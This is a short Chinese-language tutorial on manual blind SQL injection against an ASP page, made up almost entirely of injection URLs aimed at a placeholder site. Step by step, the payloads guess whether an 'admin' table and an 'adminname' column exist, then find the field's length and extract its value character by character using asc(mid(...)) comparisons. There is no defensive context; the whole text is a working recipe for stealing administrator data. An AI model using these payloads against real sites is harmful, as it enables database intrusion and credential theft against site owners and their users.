手工注入猜解过程详解

1.猜解表名：
http://xxx.com/test.asp?id=123 and (select count(*) from admin)>=0//猜解是否有表admin

2.猜解字段名：
http://xxx.com/test.asp?id=123 and (select count(adminname) from admin)>=0//admin表中是否有字段adminname

3.猜解字段长度：

//从admin表中选取第一条记录，来获取这条记录的adminname字段长度
http://xxx.com/test.asp?id=123 and (select top 1 len(adminname) from admin)>=0
http://xxx.com/test.asp?id=123 and (select top 1 len(adminname) from admin)=7//字段adminname长度为7

4.猜解字段值：

//从admin表中选取第一条记录，逐个猜解字段adminname的值，直到7个
http://xxx.com/test.asp?id=123 and (select top 1 asc(mid(adminname,1,1)) from admin)=97
http://xxx.com/test.asp?id=123 and (select top 1 asc(mid(adminname,2,1)) from admin)=78
http://xxx.com/test.asp?id=123 and (select top 1 asc(mid(adminname,3,1)) from admin)=96

..........
http://xxx.com/test.asp?id=123 and (select top 1 asc(mid(adminname,7,1)) from admin)=102